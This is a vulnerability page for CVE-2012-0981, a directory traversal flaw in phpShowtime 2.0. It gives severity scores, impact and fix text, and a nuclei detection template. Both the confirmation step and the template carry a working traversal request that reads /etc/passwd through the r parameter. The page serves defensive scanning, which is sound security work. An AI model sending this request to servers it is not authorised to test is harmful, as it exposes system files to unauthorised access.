CVE-2012-0981· kybernetika / phpshowtime· CWE-22
phpShowtime 2.0 - Directory Traversal
mediumseverity
5CVSS score
9.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it
A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
Impact
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
Fix
Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
How to confirm it
Send: GET {{BaseURL}}/index.php?r=i/../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2012-0981 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2012-0981
info:
name: phpShowtime 2.0 - Directory Traversal
author: daffainfo
severity: medium
description: A directory traversal vulnerability in phpShowtime 2.0 allows remote attackers to list arbitrary directories and image files via a .. (dot dot) in the r parameter to index.php.
impact: |
An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure.
remediation: |
Upgrade to a patched version of phpShowtime or apply the necessary security patches to fix the directory traversal vulnerability.
reference:
- https://www.exploit-db.com/exploits/18435
- https://nvd.nist.gov/vuln/detail/CVE-2012-0981
- http://www.exploit-db.com/exploits/18435
- https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2012-0981
cwe-id: CWE-22
epss-score: 0.09381
epss-percentile: 0.95441
cpe: cpe:2.3:a:kybernetika:phpshowtime:2.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: kybernetika
product: phpshowtime
tags: cve,cve2012,phpshowtime,edb,lfi,kybernetika,vuln
http:
- method: GET
path:
- "{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://www.exploit-db.com/exploits/18435
- https://nvd.nist.gov/vuln/detail/CVE-2012-0981
- http://www.exploit-db.com/exploits/18435
- https://exchange.xforce.ibmcloud.com/vulnerabilities/72824
- https://github.com/ARPSyndicate/kenzer-templates
Use this check only on systems you are authorised to test. Where the data comes from